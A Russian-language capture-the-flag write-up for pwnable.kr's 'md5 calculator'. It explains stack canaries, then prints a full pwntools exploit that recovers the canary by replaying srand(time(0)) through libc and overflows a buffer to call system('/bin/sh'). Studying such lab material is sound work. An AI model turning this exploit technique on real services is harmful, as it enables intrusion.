image

В данной статье решим 23-е задание с сайта pwnable.kr, узнаем, что такое stack canary и подключим libc в python.

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Stack Canary


Канарейки (canary) — это известные значения, которые помещаются между буфером и управляющими данными в стеке для мониторинга переполнения буфера. После переполнения буфера, первыми подлежащими повреждению данными, как правило, будет канарейка. Таким образом, значение канарейки будет проверяться и в случае неудачной проверки сигнализировать о переполнении буфера. Существует три типа канареек:

  1. Terminator. Канарейки построены из нулевых терминаторов, CR, LF и -1. В результате злоумышленник должен написать нулевой символ перед записью адреса возврата, чтобы избежать изменения канарейки. Это предотвращает атаки с использованием strcpy() и других методов, которые возвращаются при копировании нулевого символа, в то время как нежелательным результатом является известность канарейки.
  2. Random. Генерируются случайным образом. Обычно случайная канарейка генерируется при инициализации программы и сохраняется в глобальной переменной. Эта переменная обычно дополняется неотображенными страницами, поэтому попытка ее чтения с использованием любых уловок, использующих ошибки для чтения из ОЗУ, вызывает ошибку сегментации, завершающую программу.
  3. Random XOR. Cлучайные канареи, которые ксорятся с контрольных данными. Таким образом, как только канарейка или контрольные данные будут засорены, значение канарейки будет неправильным. Имеют те же уязвимости, что и случайные канареек, за исключением того, что метод «чтения из стека» для получения канарейки немного сложнее. Атакующий должен получить канарейку, алгоритм и контрольные данные, чтобы заново сгенерировать исходную канарейку, необходимую для подделки защиты.

Решение задания md5 calculator


Продолжаем второй раздел. Скажу сразу, что сложнее первого и нам не предоставляется исходный код приложений. Не забываем про обсуждение здесь. Начнем.

Нажимаем на иконку с подписью md5 calculator. Нам дают адрес и порт для подключения и саму программу.

image

Скачиваем все что нам дают, проверяем бинарник.

image

Это 32-битный elf с установленной канарейкой и неисполняемым стеком. Декомпилируем в IDA Pro.

image

В программе встроена проверка капчи. Видим две функции интересные функции: my_hash() и process_hash(). Начнем с первой.

image

Давайте переопределим типы переменных и сделаем код более легким для анализа:

image

Таким образом функция вернет какое-то случайное число. При этом v3 — это данные по адресу EBP-0xC. Давайте глянем другую функцию.

image

Здесь переменная v4 получает значение по адресу EBP-0xC, а потом ксорится на выходе из функции с этим значением. Далее под переменную v3 выделяется 512 байт, считывается ввод с клавиатуры в переменную g_buf. После чего, строка из g_buf декодируется в Base64 и записывается в v3. От v3 вычисялется md5 хеш. Таким образом, ввод в g_buf и копирование в v3 не ограничиваются, поэтому есть переполнение буфера! Давайте глянем на стек.

image

Переменная v3 есть стековая канарейка, расположенная после буфера. Также в программе вызывается функция систем. Что же, составим шаблон для эксплоита.

from pwn import *

p = remote('127.0.0.1', 9002)
p.recvuntil('captcha : ')
captcha = int(p.recv())
p.sendline(str(captcha))

p.interactive()

Для начала разберемся в полезной нагрузкой. Мы должны вызвать функция систем с параметром “/bin/sh”. Но так как стек неисполняемый, мы вызовем функцию систем, передав управление на ее адрес в программе, а в качестве параметра — адрес на строку “/bin/sh”, которую мы запишем в g_buf.

Таким образом (смотрим по стеку): Нужно записать 512 байт мусора, потом 4 байта значение канарейки, потом еще 12 байт мусора. Теперь для ret мы должны указать адрес функции system (4 байта), адрес строки “/bin/sh”(4 байта), и сама строка “/bin/sh”.

Теперь найдем неизвестные: адрес вызова system.

image

Это 0x8049187. И адрес строки “bin/sh”. Для этого нам нужно к адресу g_buf прибавить количество байт до строки “/bin/sh” с учетом кодировки base64 — это 4/3 от исходного значения.

image

То есть адрес строки: 0x804b0e0 + (512+4+12+4+4+1)*4/3 = 0x804b3ac. Составим полезную нагрузку.

payload = 'A' * 512 
payload += p32(canary)
payload += 'A' * 12
payload += p32(0x8049187) 
payload += p32(0x804b3ac)
payload = b64e(payload)
payload += "/bin/sh\x00"

Осталось найти канарейку. Как мы выяснили, она суммируется со случайными значениями в функции my_hash(), что в результате дает нам канарейку. А в качестве семени для функции rand используется srand(time(0)). То есть если сы повторим процедуру в своему експлоите, а потом вычтем из присланного куки сгенерированное значение, мы найдем канарейку. Вызываем rand() из libc в python.

from ctypes import *
import os
import time

libc=CDLL('libc.so.6')
t = int(time.time())
libc.srand(t)
n = [libc.rand() for _ in range(8)]

canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6]
canary &= 0xffffffff

Все. Полный код выглядит так.
from pwn import *
from ctypes import *
import os
import time

libc=CDLL('libc.so.6')
t = int(time.time())
libc.srand(t)
n = [libc.rand() for _ in range(8)]


p = remote('127.0.0.1', 9002)
p.recvuntil('captcha : ')
captcha = int(p.recv())
p.sendline(str(captcha))

canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6]
canary &= 0xffffffff

payload = 'A' * 512
payload += p32(canary)
payload += 'A' * 12
payload += p32(0x8049187)
payload += p32(0x804b3ac)
payload = b64e(payload)
payload += "/bin/sh\x00"

p.sendline(payload)

p.interactive()

Запускал несколько раз и не работало, потом понял, что из-за скорости интернета и разницы времени не совпадает результат rand(). Запустил на сервере.

image

Получаем искомый флаг. Вы можете присоединиться к нам в Telegram.

Комментарии (1)


  1. qw1
    15.09.2019 10:13

    Сдаётся мне, не зря «капча», посчитанная на основе rand(), выдаётся наружу.
    Это позволяет побрутфорсить time(), начиная от локального на ± 1000 тиков, пока по капче он не совпадёт с серверным.